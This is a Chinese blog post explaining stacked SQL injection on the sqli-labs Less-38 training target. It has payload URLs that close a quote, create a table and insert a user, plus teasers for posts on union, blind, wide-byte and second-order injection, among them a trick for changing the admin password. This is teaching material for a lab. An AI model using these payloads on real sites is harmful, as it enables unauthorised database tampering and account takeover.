SQL注入【堆叠注入】
发表于|更新于|Web
|总字数:177|阅读时长:1分钟|浏览量:
SQL注入【堆叠注入】
原理
在SQL数据库中,每条语句是以;
分开的,堆叠注入就是一次性注入并执行多条语句(多语句之间以分号隔开)的注入方式。
局限性
- 多语句执行受数据库类型、API、数据引擎的限制,有的不能实现。
- 增删改也收到用户权限的限制。
靶场Less-38
1、单引号构造闭合
1 | http://192.168.168.129/sqli/Less-38/?id=1' -- qwe |
2、新建一张数据表
1 | http://192.168.168.129/sqli/Less-38/?id=1'; select * from users;create table user like users; -- qwe |
3、新建用户
1 | http://192.168.168.129/sqli/Less-38/?id=1'; insert into users values(20,'mark','mark');-- qwe |
相关推荐

2021-01-23
SQL注入【联合注入-数字型】
SQL注入【联合注入-数字型】概述注入的本质 用户输入的数据被当做代码执行 注入条件 用户可以控制传参 用户输入的语句被带入数据库并执行 显错注入原理 用户输入的数据被当做SQL语句执行,并带入数据库执行 对用户输入的数据没有做任何过滤,并且将结果返回到页面 显错注入所用函数 order by –>对字段进行排序group_concat() –>将字符连接起来,输出字符串集合,逗号分开limit start end 限制select的输出数量database() –>当前所用数据库名version() –>数据库版本号user() –>用户名 靶场Less-21、进入靶场 2 、将id=1处1改为2 3、轻松得知:该页面是通过id进行传参,通过改变id的值页面返回不同的内容 4、分别使用and 1=1 和and 1=2 进行探测 5、观察页面发生了变化,使用order by 判断字段数 [一般通过二分法判断] 6、得知字段数为3,使用联合查询 UNION 操作符用于连接两个以上的...

2021-01-10
SQL注入【联合注入-字符型】
SQL注入【联合注入-字符型】概述注入的本质 用户输入的数据被当做代码执行 注入条件 用户可以控制传参 用户输入的语句被带入数据库并执行 显错注入原理 用户输入的数据被当做SQL语句执行,并带入数据库执行 对用户输入的数据没有做任何过滤,并且将结果返回到页面 没有做任何防护 注入的关键操作 构造闭合 注入基础MySQL注释符:# 或 –空格 或 /**/内联注释:/*! SQL语句 */ 只有MySQL可以识别,常用来绕过WAF注入探测符:常使用 \ 进行探测 靶场Less-11、靶场 2、根据前面的数学型注入,可先使用and 1=2 探测页面无反应 3、使用探测符号\ 4、根据报错信息 ‘’1' LIMIT 0,1’ ==> ‘1' LIMIT 0,1 (反斜杠通常为转义符)==>可猜测变量id由单引号字符围绕构造payload: id=1’ – q (–空格...

2021-02-23
SQL注入【布尔盲注】
SQL注入【布尔盲注】利用场景 在有些情况下,后台使用了错误信息屏蔽方法(比如@),屏蔽了报错, 无法在根据报错信息来进行注入的判断,该情况称为”盲注” 表现形式 based boolean (布尔盲注) based time(时间盲注) 布尔盲注 传入“”错误“”参数和“正确”参数,观察页面是否发生了变化 所用函数 length() 获取字符串的长度 substr() 截取字符串 语法:substr(string,num start,num length) string 字符串;start 起始位置(从1开始);截取长度 ascii() 把字符转换为ascii码值 靶场Less-81、进入靶场,只显示了you are in.. 2、将1改为0,观察页面是否发生了变化you are in… 这三个单词不见了页面发生变化 3、貌似是布尔盲注,通过探测得知为字符型布尔盲注 4、使用substr() 探测数据库版本号本地操作: 靶场: http://127.0.0.1/sqli/Less-8/?id=1‘ and...

2021-02-23
SQL注入【时间盲注】
SQL注入【时间盲注】时间盲注也称为延时注入 利用场景如果说基于Boolean的盲注在页面上可以看到0 or 1 的回显,那么时间盲注完全啥都看不到但可以通过特定的输入,判断后台的执行时间,从而确定注入 所用函数 sleep() 让程序挂起,单位秒 if(condition,value_if_true,value_if_false) 语法:当condition为真时,返回value_if_true,否则返回value_if_false length() 获取字符串的长度 substr() 截取字符串 语法:substr(string,num start,num length) string 字符串;start 起始位置(从1开始);截取长度 ascii() 把字符转换为ascii码值 靶场Less-91、进入靶场 2、输出错误参数,页面无变化 3、加上 and sleep()函数 尝试让页面休眠10秒页面貌似延迟为2s 没有执行sleep()函数,猜想会不会是字符串型,换为’ and sleep(10) –...

2021-01-22
SQL注入【宽字节注入】
SQL注入【宽字节注入】原理GBK编码是占用两个字节,ASCII编码是占用一个字节。 在PHP中的编码方式为GBK,在函数执行添加的是ASCII编码,在mysql中国默认字符集是GBK等宽字节字符集(GBK属于宽字符集中的一种), 而mysql中使用的默认的GBK编码方式是导致宽字节注入的根源。 GBK 编码 两个字节表示一个字符 ASCII 编码 一个字节表示一个字符 MYSQL默认字节集是GBK等宽字节字符集 addslashes()函数1234567addslashes ( string `$str` ) : string返回字符串,该字符串为了数据库查询语句等的需要在某些字符前加上了反斜线。这些字符是单引号(`'`)、双引号(`"`)、反斜线(`\`)与 NUL(**`null`** 字符)。只要注入' " \ 空字符 都会转义为 \' \" \\ \ 魔术单引号同理【PHP5.4及其以上魔术引号是被删除了】 利用场景如果网站使用了...

2021-01-23
SQL注入【二次注入】
SQL注入【二次注入】原理二次注入是指已存储(数据库、文件)的数据输入被读取后再次进入到 SQL 查询语句中导致的注入 二次注入是通过与数据库服务器进行交互的过程再次进行注入。 利用条件 用户输入恶意语句。 数据库把用户输入的数据没有做任何更改,直接进行了存储。 再用户取出数据的过程中,数据库将用户输入的数据完整且没有做任何修饰的展示给用户。 靶场Less-241、一个登录界面,可进行更改密码、注册用户 2、查看数据库中原有的数据 3、目的:改掉admin用户的密码 4、注册用户 12注册用户名为admin' -- q密码为123456 5、注册成功 6、查看数据库有无增加用户 7、使用用户名admin’ – q 登录 8、观察admin用户的密码为admin 9、更改admin’ – q用户的密码为654321 10、再次查看数据库观察到新注册的用户admin’ – q 密码没改变,admin用户的密码却更改为654321 11、使用admin用户登录登录成功 能够更改admin密码原理1、更改密码处的后端代码 1$sql = "UPDATE...
评论
公告
This is my Blog ~